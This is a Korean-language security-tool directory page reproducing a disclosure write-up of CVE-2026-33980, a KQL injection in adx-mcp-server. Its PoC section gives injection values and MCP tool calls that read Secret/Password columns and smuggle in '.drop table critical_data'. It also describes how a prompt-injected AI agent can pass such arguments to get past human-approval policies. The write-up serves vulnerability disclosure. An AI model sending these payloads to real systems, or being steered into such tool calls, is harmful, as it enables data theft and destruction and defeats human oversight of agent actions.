Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33980 — KQL 인젝션 — adx-mcp-server의 table_name 매개변수를 통한 취약점 — CVSS 8.8 | Kitploit
도구/GitHubGitHub/romain-deperne/cve-2026-33980
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCloud SecurityDatabase Security
GitHubromain-deperne/cve-2026-33980

CVE-2026-33980

KQL 인젝션 — adx-mcp-server의 table_name 매개변수를 통한 취약점 — CVSS 8.8

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33980 — adx-mcp-server의 table_name 매개변수를 통한 KQL 인젝션

심각도: 높음 (CVSS 8.8) CWE: CWE-943 — 데이터 쿼리 로직의 특수 요소 부적절한 중화 영향 범위: adx-mcp-server <= 0.1.0 (커밋 48b2933) 권고: GHSA NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980

요약

adx-mcp-server의 세 가지 MCP 도구는 table_name 매개변수를 f-문자열을 통해 KQL(Kusto 쿼리 언어) 쿼리에 직접 삽입합니다. 공격자 또는 프롬프트 인젝션된 AI 에이전트는 Azure Data Explorer 클러스터의 모든 테이블을 읽고, 관리 명령(.drop table)을 실행하거나, 임의의 분석 쿼리를 실행할 수 있습니다 — "안전한" 메타데이터 도구와 원시 execute_query 도구 사이의 신뢰 경계를 우회합니다.

발견 과정

awesome-mcp-servers 목록을 살펴보면서 클라우드 데이터 플랫폼을 래핑하는 MCP 서버를 특히 찾고 있었습니다. 이러한 서버는 AI 에이전트에게 직접적인 데이터베이스 액세스를 제공하도록 설계되었고, MCP 도구 매개변수는 공격자가 완전히 제어할 수 있기 때문에(신뢰할 수 없는 데이터를 처리하는 모든 LLM은 프롬프트 인젝션을 통해 악성 도구 인수를 전달하도록 조작될 수 있음) 고위험입니다.

adx-mcp-server가 눈에 띄었습니다: 엔터프라이즈 환경에서 사용되는 Kusto 기반 분석 플랫폼인 Azure Data Explorer를 래핑합니다. server.py를 열고 도구 매개변수와 관련된 f-문자열을 검색했습니다. 30초 만에 세 건이 발견되었습니다: f"{table_name} | getschema", f"{table_name} | sample {sample_size}", f".show table {table_name} details".

흥미로운 부분은 신뢰 경계 우회입니다: 서버는 원시 execute_query 도구(MCP 클라이언트가 인간 승인을 요구할 수 있음)와 이러한 "안전한" 메타데이터 검사 도구(자동 승인됨)를 모두 노출합니다. 메타데이터 도구를 통한 인젝션은 클라이언트가 적용하는 승인 정책을 우회할 수 있게 합니다. 이것이 이 문제를 "인젝션 버그"에서 실제 보안 경계 위반으로 끌어올린 이유입니다.

KQL 주석 구문(//)은 우회를 사소하게 만들었습니다 — //를 추가하여 원래 쿼리의 나머지를 주석 처리하고 원하는 것을 실행하면 됩니다.

영향받는 구성 요소

파일: src/adx_mcp_server/server.py

root@kitploit:~
# 228행 — get_table_schema
query = f"{table_name} | getschema"

# 248행 — sample_table_data
query = f"{table_name} | sample {sample_size}"

# 268행 — get_table_details
query = f".show table {table_name} details"

세 곳 모두 MCP 도구 인수의 table_name을 검증 없이 client.execute(config.database, query)에 직접 전달합니다.

근본 원인

KQL은 |로 쿼리 연산자를 파이프하고 .로 시작하는 관리 명령을 실행할 수 있습니다. // 문자는 줄 주석을 시작합니다. 이로 인해 f-문자열 삽입이 사소하게 가능해집니다:

  • f"{table_name} | getschema" → | project Secret //를 추가하여 | getschema를 주석 처리
  • f".show table {table_name} details" → \n.drop table을 주입하여 관리 명령 체이닝

원시 execute_query 도구 이상으로 중요한 이유: MCP 클라이언트는 종종 "안전한" 읽기 전용 도구(자동 승인)와 원시 실행 도구(확인 필요)를 구분합니다. 인젝션은 "안전한" 메타데이터 도구를 대상으로 하여 승인 경계를 우회합니다.

PoC

전체 데모는 poc.py를 참조하세요. 핵심 페이로드:

root@kitploit:~
# get_table_schema를 통한 데이터 유출
# f"{table_name} | getschema"는 다음과 같이 변환됩니다:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → //는 "| getschema"를 주석 처리; 쿼리는 sensitive_data 열을 읽음
table_name = "sensitive_data | project Secret, Password | take 100 //"

# get_table_details를 통한 파괴적 관리 명령
# f".show table {table_name} details"는 다음과 같이 변환됩니다:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"

MCP 도구 호출:

root@kitploit:~
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}

영향

  1. 데이터 유출 — Azure Data Explorer 데이터베이스의 모든 테이블 읽기
  2. 데이터 파괴 — .drop table, .drop extents와 같은 관리 명령
  3. 프롬프트 인젝션 증폭 — ADX에서 공격자가 제어하는 데이터를 처리하는 AI 에이전트는 악성 table_name 값을 전달하도록 조작될 수 있으며, 프롬프트 인젝션을 완전한 데이터 액세스로 전환합니다

타임라인

  • 발견: 2026-03-xx
  • 보고: GHSA 비공개 권고
  • CVE 게시: CVE-2026-33980
도구 다운로드